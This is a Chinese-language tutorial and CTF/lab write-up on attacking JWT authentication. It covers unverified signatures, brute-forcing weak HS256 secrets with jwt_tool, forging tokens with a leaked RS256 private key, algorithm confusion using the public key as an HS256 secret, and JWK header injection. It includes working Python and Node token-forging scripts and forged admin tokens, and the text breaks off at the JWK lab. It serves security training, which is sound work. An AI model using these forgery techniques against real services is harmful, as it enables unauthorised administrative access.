jwt身份验证和基本的利用方式

前言：

什么是jwt（json web token）？看看英文单词的意思就是 json形式的token

他的基本的特征：

类似于这样的他有2个点分割

解码的时候会有三个部分

头部 payload 对称密钥这个就是对称加密

头部：标明了需要进行加密的方式是什么（一般就是对称加密 =》 SH256 和非对称加密 =》RH256）

这些都叫 alg头（算法头）当然还有一些typ， kid等

中间的就是要加密的内容需要是json形式的；

尾部是签证主要就是利用密钥进行加密：主要是 jwt.encode(payload,alg,key)

插件的使用：

burp自带

需要导入的插件：

https://github.com/CompassSecurity/jwt-scanner

打靶 burp靶场：

1、无签证的 jwt 验证

实验：通过未经验证的签名绕过 JWT 身份验证 |网络安全学院

访问靶场插件会自动的检测

这里就有个牛13插件 jwt-scan https://github.com/CompassSecurity/jwt-scanner

演示：

也可以直接识别到对方jwt的基本特征

当然你如果不信插件可以看特征

进行解密

发现是很全面的这个漏洞主要出在后端没有接受 jwt的签证验证这个密钥就是吓唬你的直接改数据就行这些参数时 payloa的的

iss ：jwt的签发者

exp : 发布的时间戳

sub : jwt面向的用户

改一下访问后台

2、第二个有缺陷的签名认证

3、第三关对称加密的缺陷

使用工具：https://github.com/ticarpi/jwt_tool

使用方法

python ./jwt_tool jwt数据 -C -d +字典

-C 是只让其显示正确的 key

使用插件验证一下

然后知道密钥之后我们就可以重新生成一个jwt密文

使用脚本：

pip install PyJWT==1.7.1  先进行下载库 如果没有这个版本可以不加版本号import jwt    //导入库
payload={"user":"administrator"}   //设置荷载
key = 'secret1'     //设置 秘钥
print(jwt.encode(payload, key, algorithm='HS256'))   //进行加密

脚本还是要会写的因为这个jwt的操作比较少

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW5pc3RyYXRvciJ9.rLCBnvGEPxuOK2GeDFmK-xuIf05CiVlfjwjmGmoLKzk

使用这个jwt进行登录

4、第四个实验

ctfshow 349

RH加密但是私/公钥泄露

审计一下

我们知道了逻辑是私钥加密公钥解密但是有一点就是非对称：私钥加密就一定可以解码实际上我们只要知道泄露的私钥其实就能进行解密了

也是上面的脚本修改一下

import jwt
payload={"user":"admin"}
key =open('./private.key').read()
print(jwt.encode(payload, key, algorithm='RS256'))

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AH4YkjLWhtkoxco48abhQ7MUfxBgyfP3OffsS6cZmHtfLpVlv9t8bZAnW-CVbLkHfu4vzQI_OiPdBQP-a3xJIOq3hf0jsMAsijn-XKaaDZtv3cg4a0RvjpEHLYCN89KpigGHC0vtOb6OzffdmkPVN8vcYJby742vD_YhDDHw6pU

使用这个进行访问

是 router的问题啊是post请求右键进行修改

ctfshow{a57a1ea7-eb92-4a7e-8d05-3959e800db95}

5、第五个实验解密算法模式配置的错误导致可以使用对称加密进行加解密

ctfshow 350 :

看一下源码发现私钥是丢失的：但是我们看一下 alg是直接写的 cert

cert是读取的公钥这个公钥我们是有的但是他没有写模式

所以我们完全可以使用 sh256 进行混淆

使用脚本重新进行加密

var jwt = require('jsonwebtoken');  //jwt 库
var fs = require('fs');   //文件管理库
var privateKey = fs.readFileSync('./public.key');  
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

使用脚本生成jwt然后访问就行了

6、第六关： jwk绕过实现越权

什么是jwk？JSON Web Key 就是对jwk加密的密钥的描述

结构

json
{"kty": "RSA",            // 密钥类型（RSA/EC/oct等）"use": "sig",            // 用途：签名（sig）或加密（enc）"kid": "2023-rsa-key",   // 密钥唯一标识（用于匹配 JWT 头部的 kid）"alg": "RS256",          // 算法"n": "modulus-value",    // RSA 模数（Base64URL 编码）"e": "exponent-value"    // RSA 指数（Base64URL 编码）
}

还有一个就是jku？JWK Set URL 简单的说就是把加密的方式和密钥放到url地址访问来实现的

实验：通过 jwk 标头注入绕过 JWT 身份验证 |网络安全学院

开始打靶：抓包发到 jwtscan上去